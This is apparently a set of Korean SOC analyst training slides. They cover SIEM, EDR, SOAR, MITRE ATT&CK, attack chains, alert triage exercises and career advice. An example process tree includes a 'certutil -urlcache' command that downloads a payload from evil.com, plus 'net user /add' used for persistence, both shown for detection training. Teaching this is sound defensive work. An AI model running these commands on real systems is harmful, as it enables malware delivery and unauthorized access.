⚠️ 2행: 백업 서비스 계정 + 내부 IP + 새벽 + 203회 → 백업 오류 가능성 → IT운영팀 확인 후 판단
✅ 3행: jsmith + Google DNS + 낮 + 12회 → 비밀번호 오입력 가능성 → 당사자 확인 후 Benign
💡 세 줄이 똑같이 "로그인 실패"처럼 보이지만, 컨텍스트(누가·언제·어디서·몇 번)가 모든 판단을 바꿉니다.
explorer.exe
└─ outlook.exe
└─ cmd.exe ⚠
└─ powershell.exe ⚠⚠
└─ net.exe user /add ⚠⚠⚠
└─ certutil -urlcache ⚠⚠⚠
왜 수상한가?
- Outlook에서 cmd → PowerShell 실행은 비정상
- 계정 생성(net user /add)은 공격 지속성 확보 행위
- certutil은 파일 다운로드 도구로 악용 가능
EDR이 가능한 조치
- 해당 프로세스 즉시 종료
- 호스트 네트워크 격리
- 관련 파일 격리/삭제
악성 프로세스 트리 읽기 — "이게 왜 위험한가?"
OUTLOOK.EXE ← 정상 이메일 클라이언트
└─ cmd.exe ← ⚠️ 이메일 앱이 왜 cmd를 실행?
└─ powershell.exe -enc <base64> ← 🚨 탐지 우회 시도
└─ certutil.exe -urlcache -f http://evil.com/a.exe
└─ a.exe ← 악성 페이로드 실행 완료
🔍 OUTLOOK→cmd: 피싱 이메일 첨부파일 클릭 → 매크로 실행 → cmd 호출. 전형적인 피싱 공격 패턴.
🔍 -enc 플래그: 명령을 Base64로 인코딩해 보안 솔루션 탐지 우회. 정상 업무에서 거의 사용 안 함.
🔍 certutil 다운로드: Windows 기본 도구를 악용한 "Living off the Land" 기법. 악성코드 없이 시작.
✅ EDR이 이 트리를 실시간으로 보여주기 때문에 "피싱→매크로→파워셸 난독화→악성코드 다운로드" 전체 흐름을 한눈에 파악할 수 있습니다.
1
🔔 Trigger: "피싱 의심 메일" Alert 발생
2
🔍 자동 Enrichment: 발신자 평판 조회, URL 샌드박스 분석, 첨부파일 해시 확인
3
🔀 조건 분기: 악성 판정이면 → 4번, 불확실하면 → 분석가 승인 요청
4
🛡️ 자동 조치: 해당 메일 전체 사서함에서 삭제, URL 차단, 수신자에게 안내
5
📋 자동 기록: Case 생성, 타임라인 기록, IOC 등록, 리포트 생성
🕐 사람이 하면 30~60분 걸리는 작업을 SOAR는 2~5분에 일관되게 처리 → MTTR 대폭 감소
보강 설명SOAR 플레이북의 실제 예시를 보겠습니다. 피싱 메일 Alert가 발생했을 때 SOAR가 자동으로 수행하는 작업의 흐름입니다.
SOAR플레이북피싱
설명 확장
- SOAR가 해결하려는 문제를 먼저 정리하기
- 플레이북 관련 기능과 경계 지점을 구분하기
- 단독 기능보다 운영 흐름 안에서 바라보기
실무 포인트
- 입력 데이터·출력 결과·담당 역할을 분리해서 보기
- 탐지 후 누구에게 어떻게 핸드오프 되는지 확인하기
- 정책·자동화가 없을 때 생기는 공백을 생각하기
예시 연결
- 콘솔에서 실제로 어떤 화면과 경보로 보일지 상상하기
- 오탐/정탐 두 경우를 모두 떠올리기
- SOAR 관련 사용 사례를 한 가지 말로 정리하기
| 구분 | SIEM | EDR | IDS/IPS | SOAR |
|---|
| 관찰 범위 | 전체 인프라 | 호스트 내부 | 네트워크 흐름 | 도구 간 연결 |
| 핵심 기능 | 수집·상관분석 | 행위 분석·격리 | 패턴 탐지·차단 | 자동화·오케스트레이션 |
| 주요 질문 | "어디에서도 이런 일이?" | "이 PC에서 뭘 했나?" | "네트워크에 이상 있나?" | "자동으로 처리 가능?" |
| 즉시 대응 | △ (연동 시) | ○ (격리/차단) | ○ (IPS만) | ○ (플레이북) |
| 약점 | 로그 품질 의존 | 호스트 외 못 봄 | 암호화 트래픽 한계 | 프로세스 없으면 무용 |
SIEM은 넓게, EDR은 깊게, IDS/IPS는 네트워크를, SOAR는 빠르게 — 이것만 기억하세요
보강 설명네 가지 핵심 도구를 한 장으로 비교합니다. 각 도구는 경쟁이 아니라 역할 분담 관계라는 점을 기억하세요.
SIEMEDRIDS/IPS
설명 확장
- SIEM가 해결하려는 문제를 먼저 정리하기
- EDR 관련 기능과 경계 지점을 구분하기
- 단독 기능보다 운영 흐름 안에서 바라보기
실무 포인트
- 입력 데이터·출력 결과·담당 역할을 분리해서 보기
- 탐지 후 누구에게 어떻게 핸드오프 되는지 확인하기
- 정책·자동화가 없을 때 생기는 공백을 생각하기
예시 연결
- 콘솔에서 실제로 어떤 화면과 경보로 보일지 상상하기
- 오탐/정탐 두 경우를 모두 떠올리기
- SIEM 관련 사용 사례를 한 가지 말로 정리하기
05
공격 시나리오 사례
공격 체인 이해와 타임라인 분석, 분석가 체크리스트
약 40분
공격 체인
ATT&CK
타임라인
피싱
체크리스트
피싱 메일
Initial Access
→
인증정보 탈취
Credential Access
→
비정상 로그인
Persistence
→
내부 탐색
Discovery
→
데이터 수집
Collection
→
외부 유출
Exfiltration
MITRE ATT&CK 관점: Tactic은 "왜(Why)", Technique은 "어떻게(How)" — 공격 행위를 구조화하는 프레임워크
각 단계에서 SOC가 "어디서" 이상 신호를 발견하는가
피싱 메일
→ 이메일 게이트웨이에서 악성 URL·첨부 탐지. 직원이 클릭하면 Proxy 로그에 악성 도메인 접속 기록이 남는다.
인증정보 탈취
→ 이후 로그인 로그에서 해당 계정으로 다른 국가·새 디바이스 접속이 나타난다. SIEM의 "동일 계정, 다른 위치" 룰이 발동한다.
내부 탐색
→ EDR에서 powershell, net user, whoami 등 내부 정찰 명령 실행 기록이 보인다. SIEM 상관분석에서 연쇄 실행을 감지한다.
킬체인 단계별 탐지 기회 — "언제 잡을 수 있는가?"
| 공격 단계 |
공격자 행위 |
SOC 탐지 소스 |
탐지 시 피해 수준 |
| 정찰 | LinkedIn, 이메일 수집 | 외부 활동 — 탐지 어려움 | 없음 |
| 초기 침투 | 피싱 → 매크로 → 쉘 | 이메일 게이트웨이 + EDR | 최소 (단일 호스트) |
| 권한 확보 | 비밀번호 덤프, 관리자 탈취 | EDR (LSASS 접근 탐지) | 중간 (내부 확산 시작) |
| 측면 이동 | 내부 서버 순차 침투 | SIEM 상관분석 | 높음 (다수 시스템) |
| 목적 달성 | 데이터 유출 or 랜섬웨어 | DLP + 네트워크 이상 | 치명적 — 너무 늦음 |
💡 공격자는 체인을 끊기지 않게 진행해야 하지만, SOC는 어느 단계에서도 끊을 수 있습니다. 빠를수록 피해가 작습니다.
Who
어떤 사용자/계정인가?
VIP/관리자 계정인가?
When
정상 업무 시간과 다른가?
직전/직후 어떤 행위?
What
로그인 후 어떤 시스템/데이터에 접근했는가?
Action
계정 잠금, 세션 종료, 격리 등 즉시 조치가 필요한가?
추가 확인: 승인된 변경 작업 여부 · 출장/재택/VPN 예외 · 동일 행위 다른 계정 확산 · IOC 평판 / 기존 유사 케이스
시간 압박 상황에서 "무엇을 먼저 볼 것인가" 판단 팁
즉시 확인 (30초 이내)
① 어떤 계정? (일반/관리자/VIP)
② 어떤 자산? (일반 PC/서버/DC/클라우드 IAM)
→ 이 두 가지만으로 우선순위 80%가 결정된다
다음 확인 (2분 이내)
③ 로그인 후 어떤 행동을 했는가? (단순 조회 vs 대량 다운로드)
④ 출장/승인 기록이 있는가?
→ 이 두 가지로 "정상 가능성"을 검증한다
Tactic = 왜 (목적)
공격자가 이루고자 하는 목표
예: Initial Access, Persistence, Exfiltration
Technique = 어떻게 (방법)
그 목표를 달성하기 위한 구체적 수단
예: Phishing, PowerShell, Web Shell
| Tactic (전술) | 설명 | Technique 예시 |
|---|
| Initial Access | 최초 침투 | Phishing, 취약점 악용 |
| Credential Access | 자격증명 획득 | Brute Force, Credential Dumping |
| Persistence | 지속적 접근 확보 | 계정 생성, 스케줄 작업 |
| Collection | 정보 수집 | 파일 검색, 이메일 수집 |
| Exfiltration | 외부 유출 | 클라우드 업로드, HTTP 전송 |
실무에서 ATT&CK을 어떻게 쓰는가?
공통 언어: "이상한 PowerShell 실행"이 아니라 "T1059.001 감지"로 쓰면, 전 세계 어떤 보안 팀과도 동일한 공격 기법을 논의할 수 있다.
탐지 공백 발견: "우리 SOC는 Initial Access·Exfiltration은 탐지되지만, Lateral Movement 룰이 없다" → 개선 우선순위를 지도처럼 파악 가능.
ATT&CK를 쓰면 대화가 어떻게 달라지나
❌ ATT&CK 없을 때
L2: "공격자가 이상한 파워셸 쓰는 것 같아요"
L3: "어떤 파워셸이요?"
L2: "Base64로 인코딩된... 뭔가 다운로드..."
→ 설명에 10분 소요
✅ ATT&CK 사용 시
L2: "T1059.001 + T1027 난독화 + T1105 조합 같아요"
L3: "Dropper 패턴이네요. T1566 피싱이랑 연결되는지 확인해요"
→ 30초 만에 맥락 공유 완료
📌 T1059.001 = PowerShell 실행 | T1027 = 난독화/인코딩 탐지 우회 | T1105 = 원격 파일 전송
💡 ATT&CK ID는 기술 사전의 "페이지 번호"입니다. 전 세계 어느 SOC에서도 T1059.001이라 말하면 동일한 기법을 의미합니다.
| 공격 단계 | 주요 흔적 | 관찰 도구/소스 | 탐지 가능 신호 |
|---|
| ① 피싱 |
메일 수신·클릭 |
Email Gateway |
악성 URL 클릭, 첨부 실행 |
| ② 인증정보 탈취 |
로그인 시도 급증 |
SIEM / Auth Log |
로그인 실패 폭증, MFA 우회 |
| ③ 비정상 접속 |
해외 IP, 신규 디바이스 |
SIEM / IdP |
Impossible Travel, 새 세션 |
| ④ 내부 탐색 |
PowerShell, 파일 검색 |
EDR |
비정상 프로세스 트리 |
| ⑤ 수집·유출 |
대량 다운로드, 외부 전송 |
DLP / Proxy / CASB |
비정상 데이터 이동 |
공격자는 하나이지만 흔적은 여러 시스템에 흩어진다 → 이것이 SIEM이 상관분석을 하는 이유
보강 설명각 공격 단계에서 SOC가 탐지할 수 있는 포인트가 다릅니다. 피싱은 이메일 보안에서, 자격증명 탈취는 인증 로그에서, 내부 탐색은 EDR과 네트워크에서 보입니다. 이것이 SOC가 여러 데이터…
탐지 포인트데이터 소스공격 단계
설명 확장
- 탐지 포인트 관점에서 이 주제의 목적을 다시 설명하기
- 데이터 소스 관련 현장 장면을 함께 떠올리기
- 정의보다 왜 필요한지부터 말해 보기
판단 포인트
- 무슨 흔적을 보고 무엇을 결론내는지 구분하기
- 추가 확인할 로그·담당자·시간축을 메모하기
- 오탐 가능성과 리스크를 같이 적어 두기
학습 요소
- 탐지 포인트·데이터 소스 핵심어를 한 문장으로 정리하기
- 실제 예시 1개와 연결해 기억하기
- 다음 슬라이드와 이어지는 질문을 스스로 만들기
IOC 유형
- IP 주소: 알려진 악성 C2 서버 IP
- 도메인: 피싱 사이트, 악성 도메인
- 파일 해시: 악성코드 파일의 MD5/SHA256
- 이메일: 피싱 발신자 주소
- URL: 악성 링크 경로
SOC에서의 활용
- Alert에 포함된 IP/도메인을 평판 DB와 조회
- SIEM에서 IOC 기반 검색 및 상관분석
- SOAR에서 자동 Enrichment로 활용
- 위협 인텔리전스 피드 자동 업데이트
IOC 조회 시 참고 서비스: VirusTotal, AbuseIPDB, URLScan.io, Shodan 등
IOC 조회 실무 예시
IP 조회: Alert에 포함된 203.0.113.42를 AbuseIPDB에 검색
→ "Confidence: 87%, 지난 30일간 1,200건 신고 — C2 서버로 알려짐"
→ Severity 즉시 상향, IR 에스컬레이션
파일 해시 조회: 수상한 파일의 SHA256을 VirusTotal에 검색
→ "72/73개 보안 엔진이 악성으로 탐지 — Emotet 변종"
→ 해당 호스트 즉시 격리 + 같은 해시를 받은 다른 호스트 SIEM 검색
📧
#1
피싱 / 소셜 엔지니어링
최초 침투의 가장 흔한 경로
🔑
#2
자격증명 남용/탈취
탈취된 계정으로 정상처럼 행동
🪲
#3
취약점 악용
패치되지 않은 시스템 대상 공격
SOC의 탐지 룰은 이러한 실제 위협 트렌드에 맞춰 우선순위를 정해야 한다
참고: Verizon 2025 DBIR, ENISA Threat Landscape
보강 설명Verizon 2025 DBIR에 따르면, 가장 흔한 침해 유입 경로는 여전히 피싱과 자격증명 남용입니다. 취약점 악용도 증가 추세입니다. 이 데이터는 SOC가 어떤 공격 유형에 탐지 역량을…
DBIR피싱자격증명
설명 확장
- DBIR 관점에서 이 주제의 목적을 다시 설명하기
- 피싱 관련 현장 장면을 함께 떠올리기
- 정의보다 왜 필요한지부터 말해 보기
판단 포인트
- 무슨 흔적을 보고 무엇을 결론내는지 구분하기
- 추가 확인할 로그·담당자·시간축을 메모하기
- 오탐 가능성과 리스크를 같이 적어 두기
학습 요소
- DBIR·피싱 핵심어를 한 문장으로 정리하기
- 실제 예시 1개와 연결해 기억하기
- 다음 슬라이드와 이어지는 질문을 스스로 만들기
06
Alert 판단 실습
3개 케이스 실습 — 정답보다 근거를 작성하라
약 30분
케이스 분석
판단문 작성
Fact + Reason
에스컬레이션
근거 기반
각 케이스마다 작성할 5가지
- Fact — 관측 사실
- Why suspicious — 왜 의심스러운가
- What to check — 추가 확인 필요 사항
- Verdict — 최종 판단
- Next action — 권고 조치
판단 등급 예시
✅ 정상 또는 오탐
👁️ 모니터링 필요
⬆️ 의심 / L2 에스컬레이션
🚨 Incident 가능성 높음 / 즉시 대응
권장 진행: 개인 판단 2분 → 짝 토론 3분 → 전체 피드백
보강 설명각 Alert는 의도적으로 약간의 애매함이 있도록 구성되어 있습니다. 실무에서도 모든 사건이 명확하지 않기 때문에, 중요한 것은 모르는 상태에서 무엇을 확인할지 구조적으로 정리하는 능력입니다…
FactCheckVerdict
판단 포인트
- Fact·Check 같은 맥락 단서를 먼저 해석하기
- 숫자만 보지 말고 계정·자산·시간대를 함께 보기
- 정상 운영 변경 가능성을 항상 열어두기
추가 확인
- Verdict 여부를 직전 변경 이력과 함께 교차 확인하기
- 동일 시간대의 인증·호스트·네트워크 로그 묶어 보기
- 단서 사이에 모순이 있는지 끝까지 점검하기
권고 흐름
- 초기 분류와 보류 사유를 함께 기록하기
- 필요 시 L2·IR 에스컬레이션 기준을 명시하기
- 조치 후 재발 방지 포인트까지 남기기
사용자 계정
- 사람이 직접 로그인
- 업무 시간에 주로 활동
- MFA 적용 가능
- 로그인 패턴이 다양
서비스 계정 (svc_*)
- 시스템/앱이 자동 인증에 사용
- 24시간 규칙적으로 활동
- MFA 적용 어려운 경우 많음
- 비밀번호 변경 시 설정 동기화 필요
서비스 계정의 로그인 실패 급증 → 비밀번호 변경 후 미반영 가능성을 항상 먼저 확인
단, 외부 IP 또는 비정상 시간대에서의 시도가 동반되면 재평가 필요
보강 설명실습 Case A에서 서비스 계정이 나옵니다. 서비스 계정은 사람이 아니라 시스템이나 애플리케이션이 사용하는 계정입니다. 일반 사용자 계정과 다른 특성을 가지므로 분석 관점도 달라야 합니다.
서비스 계정비밀번호 변경시스템 계정
판단 포인트
- 서비스 계정·비밀번호 변경 같은 맥락 단서를 먼저 해석하기
- 숫자만 보지 말고 계정·자산·시간대를 함께 보기
- 정상 운영 변경 가능성을 항상 열어두기
추가 확인
- 시스템 계정 여부를 직전 변경 이력과 함께 교차 확인하기
- 동일 시간대의 인증·호스트·네트워크 로그 묶어 보기
- 단서 사이에 모순이 있는지 끝까지 점검하기
권고 흐름
- 초기 분류와 보류 사유를 함께 기록하기
- 필요 시 L2·IR 에스컬레이션 기준을 명시하기
- 조치 후 재발 방지 포인트까지 남기기
| 케이스 | 핵심 사실 | 맥락 단서 | 1차 판단 | 핵심 교훈 |
|---|
| A |
로그인 실패 200회 |
서비스 계정 · 내부 IP · 변경 작업 예정 |
모니터링 |
숫자보다 맥락이 중요 |
| B |
해외 IP 로그인 성공 |
재무계정 · 신규 디바이스 · 대량 다운로드 |
HIGH |
MFA 성공 ≠ 안전 |
| C |
관리자 계정 사용 |
DC · 새벽 · PowerShell · 계정 생성 · 무승인 |
CRITICAL |
권한 높으면 작은 정황도 위험 |
"숫자보다 중요한 것은 맥락이고, 맥락보다 중요한 것은 근거를 남기는 것이다."
세 케이스 비교 — "어떤 정보가 판단을 바꿨는가?"
| 비교 항목 |
Case A (로그인 실패) |
Case B (해외 IP) |
Case C (관리자 계정) |
| 판단을 바꾼 정보 | 잠금 후 중단 여부 + 계정 소유자 존재 | 출장/VPN 기록 + 이전 접속 패턴 | 변경관리 기록 + 접근 시스템 범위 |
| 오탐 확정 조건 | 자동화 도구 확인 + 이후 성공 없음 | 본인 확인 + VPN 사용 기록 | 변경관리 티켓 + 정상 시스템만 접근 |
| 에스컬레이션 기준 | Low — 자체 처리 가능 | Medium — 확인 후 판단 | High — 즉시 L2 에스컬레이션 |
| MITRE ATT&CK | T1110 (Brute Force) | T1078 (Valid Accounts) | T1078.002 + 측면이동 의심 |
💡 세 케이스 모두 "이상한 로그인"이라는 같은 출발점이었습니다. 컨텍스트 확보 여부가 L1 분석가의 역량을 결정합니다.
A
첫 인상: 200회 실패 → 공격 같다!
전환점: 서비스 계정 + 내부 IP + 변경 작업 → 오류 가능성↑
B
첫 인상: MFA 성공 → 안전한가?
전환점: 후속 행위(대량 다운로드) + 출장 없음 → 탈취 의심↑
C
첫 인상: 관리자 로그인 → 정상 작업?
전환점: 새벽 + 무승인 + 계정 생성 → 즉시 대응 필요
첫 인상과 최종 판단이 다를 수 있다 — 맥락을 확인하기 전에 결론을 내리지 말라
보강 설명세 케이스를 통해 SOC 분석의 핵심 판단 패턴을 정리합니다. 각 케이스에서 가장 큰 판단 전환점이 무엇이었는지 기억하세요.
판단 패턴전환점비교
설명 확장
- 판단 패턴 관점에서 이 주제의 목적을 다시 설명하기
- 전환점 관련 현장 장면을 함께 떠올리기
- 정의보다 왜 필요한지부터 말해 보기
판단 포인트
- 무슨 흔적을 보고 무엇을 결론내는지 구분하기
- 추가 확인할 로그·담당자·시간축을 메모하기
- 오탐 가능성과 리스크를 같이 적어 두기
학습 요소
- 판단 패턴·전환점 핵심어를 한 문장으로 정리하기
- 실제 예시 1개와 연결해 기억하기
- 다음 슬라이드와 이어지는 질문을 스스로 만들기
1
SOC는 탐지/분석/판단/대응 연결 조직이다
2
모든 Alert가 Incident는 아니다
3
좋은 분석은 Fact + Reason + Impact + Action으로 쓴다
4
SIEM / EDR / IDS·IPS / SOAR는 서로 다른 시야와 역할을 가진다
5
공격은 체인으로 보며, 분석은 타임라인으로 재구성한다
"로그는 사실이고, Alert는 가설이며, Incident는 대응이 필요한 운영 결론이다."
보강 설명앞선 슬라이드의 핵심을 회수해 기억에 남기는 구간입니다. 용어보다 역할과 흐름을 연결해 보세요.
탐지판단대응
핵심 회수
- 탐지·판단 핵심어를 세 문장으로 압축해 보기
- 정의보다 역할·가치·흐름을 연결해서 설명하기
- 비슷한 개념과의 차이를 짧게 대비해 보기
실무 연결
- 현업에서는 어떤 로그·도구·협업으로 보이는지 떠올리기
- 판단이 필요한 순간과 비용을 함께 생각하기
- 오탐과 과소판단이 만드는 리스크를 비교하기
복습 체크
- 혼자 설명 가능한 핵심 용어 3개 고르기
- 다음 모듈과 이어질 질문 1개 만들어 보기
- 실무 문장으로 바꾸어 다시 써 보기
오늘 Module 1. SOC 개요
- SOC 정의와 역할
- 운영 구조 (L1~IR)
- 이벤트 흐름과 판단
- 보안 도구 이해
- 시나리오 + 실습
다음 Module 2. 로그 분석 실습
- 실제 SIEM 화면 탐색
- 로그 검색 쿼리 작성
- Alert 분석 실습 (고급)
- 상관분석 룰 이해
- 보고서 작성 실습
오늘 배운 판단 프레임워크(Fact + Reason + Impact + Action)는 다음 모듈에서도 계속 사용합니다
보강 설명앞선 슬라이드의 핵심을 회수해 기억에 남기는 구간입니다. 용어보다 역할과 흐름을 연결해 보세요.
다음 모듈SIEM실습
핵심 회수
- 다음 모듈·SIEM 핵심어를 세 문장으로 압축해 보기
- 정의보다 역할·가치·흐름을 연결해서 설명하기
- 비슷한 개념과의 차이를 짧게 대비해 보기
실무 연결
- 현업에서는 어떤 로그·도구·협업으로 보이는지 떠올리기
- 판단이 필요한 순간과 비용을 함께 생각하기
- 오탐과 과소판단이 만드는 리스크를 비교하기
복습 체크
- 혼자 설명 가능한 핵심 용어 3개 고르기
- 다음 모듈과 이어질 질문 1개 만들어 보기
- 실무 문장으로 바꾸어 다시 써 보기
🔍 SOC Analyst (L1→L2→L3)
Alert 분석 → 조사 → 탐지 설계
🚨 Incident Responder / DFIR
침해 사고 대응 · 포렌식 · 복구
🎯 Threat Hunter
능동적 위협 탐색 · ATT&CK 매핑
⚙️ Detection Engineer
탐지 룰 개발 · SIEM 엔지니어링
🌐 Threat Intelligence Analyst
위협 정보 수집 · IOC 분석 · 보고
🏗️ Security Architect / SOC Manager
보안 전략 수립 · SOC 운영 관리
모든 경로의 공통 출발점: Log를 읽고, Alert를 분류하고, 근거 기반 판단을 작성하는 능력
각 직무로 가는 현실적인 경로
🔍 L1 → L2 → L3 분석가 경로
L1으로 시작해 Alert 판단 경험을 쌓고, L2로 승급해 상세 조사 능력을 키운 후, 3~5년 후 위협 헌팅과 룰 개발을 담당하는 L3로 성장. 기술 깊이가 핵심.
🚨 IR/포렌식 전문가 경로
L2에서 Incident 처리 경험을 충분히 쌓은 후, 포렌식 자격증(GCFE, GCFA 등)과 함께 IR 전문가로. 사고 대응 현장 경험이 필수. 변호사·검찰 디지털 포렌식팀과 협업도 함.
⚙️ Detection Engineer 경로
SIEM 쿼리 작성, 탐지 룰 개발에 흥미가 있다면. 프로그래밍(Python, SPL, KQL 등)과 ATT&CK 매핑 능력이 중요. "더 좋은 경보기를 만드는 사람"이다.
🌐 위협 인텔리전스 분석가 경로
IOC 분석, 위협 그룹 추적, 보고서 작성에 관심이 있다면. OSINT 능력과 외국어(주로 영어) 활용 능력이 중요. "적을 연구하는 사람"이다.
커리어 Q&A — 입문자가 가장 자주 묻는 질문
Q: 비전공자도 SOC 분석가가 될 수 있나요?
A: 충분히 가능합니다. 중요한 것은 체크리스트 꼼꼼함, 문서화 습관, 빠른 정보 처리입니다. 리눅스 커맨드·로그 읽기 같은 기술은 학습으로 채울 수 있습니다.
Q: L1 → L2로 올라가려면 얼마나 걸리나요?
A: 평균 1~2년입니다. 케이스 처리 수·에스컬레이션 정확도·네트워크 지식이 기준입니다. TryHackMe·HackTheBox 병행 학습으로 6~12개월로 단축도 가능합니다.
Q: 취업에 도움이 되는 자격증은?
A: 입문: CompTIA Security+ (국제 인정 기본). 실무: BTL1 (Blue Team Labs, L1~L2용). 한국에서는 정보보안기사도 많이 요구됩니다.
🎓
감사합니다
질의응답 및 다음 모듈 안내
📌 오늘의 핵심 3
① SOC = 빠른 발견 + 근거 있는 판단
② Log(사실) → Alert(가설) → Incident(결론)
③ 로그보다 맥락(Context)이 판단을 바꾼다
🛠️ 오늘 익힌 도구
SIEM (넓게 본다)
EDR (깊게 본다)
SOAR (빠르게 자동화)
IDS/IPS (네트워크 감시)
✏️ 판단문 공식
Fact (관측 사실) +
Reason (왜 의심) +
Impact (영향 범위) +
Action (권고 조치)
(주)아울네스트 · 26년 AI 보안운영 및 위협탐지 실무인력 양성